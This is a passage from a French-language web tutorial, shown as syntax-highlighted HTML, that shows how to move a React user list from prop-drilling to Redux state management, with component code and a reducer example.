          &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
              &lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="p"&gt;});&lt;/span&gt;

          &lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;([...&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="p"&gt;}}&lt;/span&gt;
      &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  User.js
&lt;/h4&gt;

&lt;p&gt;Ce composant, quant à lui, s'occupe de l'affichage d'un seul utilisateur :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/components/User.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserBody&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./UserBody.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserBody&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  UserBody.js
&lt;/h4&gt;

&lt;p&gt;Ce dernier composant s'occupe de l'affichage des informations d'un utilisateur. S'il y a des actions (modifier, supprimer), c'est dans ce composant que je les ajouterais.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/components/UserBody.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;UserBody&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Ce&lt;/span&gt; &lt;span class="nx"&gt;personnage&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;ans&lt;/span&gt; &lt;span class="o"&gt;!&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/p&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nx"&gt;Augmenter&lt;/span&gt; &lt;span class="nx"&gt;son&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;un an
      &amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}

export default UserBody;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cet arbre de composant est assez simple : &lt;code&gt;App&lt;/code&gt; qui initialise &lt;code&gt;Users&lt;/code&gt; afin d'afficher une liste de &lt;code&gt;User&lt;/code&gt; qui à son tour affiche, avec &lt;code&gt;UserBody&lt;/code&gt;, la liste des informations de l'utilisateur. Nous avons donc 4 niveaux. Rien d'extraordinaire.&lt;/p&gt;

&lt;p&gt;Comme vous pouvez le voir, dans &lt;code&gt;UserBody&lt;/code&gt; nous souhaitons modifier l'âge d'un utilisateur. Comme les utilisateurs sont stockés dans le state de &lt;code&gt;Users&lt;/code&gt;, nous devons ainsi passer la fonction capable de modifier le state dans tout l'arbre de composants, c'est-à-dire dans &lt;code&gt;User&lt;/code&gt; ainsi que dans &lt;code&gt;UserBody&lt;/code&gt;. Vous voyez le problème ?&lt;/p&gt;

&lt;p&gt;Dans ce cas c'est assez simple, nous ne gérons que les utilisateurs ici et l'arbre de composants n'est pas complexe. Mais si le nombre de composants augmente ou que vous rajoutiez des actions possibles, alors ça devient contraignant.&lt;/p&gt;

&lt;p&gt;Heureusement pour cela il y a &lt;strong&gt;Redux&lt;/strong&gt; !&lt;/p&gt;

&lt;h2&gt;
  
  
  Avec Redux
&lt;/h2&gt;

&lt;p&gt;C'est certainement une des techniques les plus utilisées pour la manipulation du state d'une application qui doit gérer beaucoup de données et d'actions sur ces dernières. Cette bibliotèque, créée en 2015 par &lt;a href="https://twitter.com/dan_abramov"&gt;Dan Abramov&lt;/a&gt; et &lt;a href="https://twitter.com/acdlite"&gt;Andrew Clark&lt;/a&gt; n'est cependant pas destinée uniquement à l'écosystème React. La grande majorité des utilisations de Redux est faîte avec React mais cette librairie peut aussi être utilisée sur Angular ou Vue.js.&lt;/p&gt;

&lt;p&gt;Pour avoir utilisé Redux sur pas mal de projets, je peux affirmer que cette technique du gestion du state est vraiment pratique et puissante. Un inconvénient cependant, Redux n'est, de prime abord, pas si simple à prendre en main. Il y a une courbe d'apprentissage nécessaire avant de savoir s'en servir correctement. Une fois bien maîtrisée, ça s'avère vraiment simple et efficace.&lt;/p&gt;

&lt;p&gt;Traduisons l'exemple précédent avec Redux.&lt;/p&gt;

&lt;p&gt;Dans un premier temps installons le nécessaire :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install --save redux react-redux
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enfin, réécrivons nos composants :&lt;/p&gt;

&lt;h4&gt;
  
  
  App.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// App.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Provider&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-redux&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createStore&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;combineReducers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;redux&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/users/Users.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;initialUsers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="cm"&gt;/* .... */&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reducers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;combineReducers&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;initialUsers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ADD_ONE_YEAR_TO_USER&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;

          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

      &lt;span class="nl"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Provider&lt;/span&gt; &lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;createStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;reducers&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Provider&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notre state global est sauvegardé dans la props &lt;code&gt;store&lt;/code&gt; du composant &lt;code&gt;Provider&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Voyons le reste.&lt;/p&gt;

&lt;h4&gt;
  
  
  Users.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// components/users/Users.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./User&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;connect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-redux&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;;
&lt;/span&gt;  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;mapStateToProps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mapStateToProps&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Comme vous pouvez le voir, la méthode &lt;code&gt;addOneYear&lt;/code&gt; n'est plus passée via les props au composant &lt;code&gt;User&lt;/code&gt;. Notez aussi la fonction &lt;code&gt;mapStateToProps&lt;/code&gt; qui permet de récupérer un ou plusieurs morceaux du state global. Dans le cas précis nous ne récupérons que les utilisateurs qui sont gérés via le reducer écrit dans le fichier &lt;code&gt;App.js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Redardons maintenant le composant &lt;code&gt;User&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  User.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// components/users/User.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserBody&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./UserBody.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserBody&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plutôt simple, n'est-ce pas ?&lt;/p&gt;

&lt;h4&gt;
  
  
  UserBody.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// components/users/UserBody.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;connect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-redux&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../actions/users/addOneYear.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

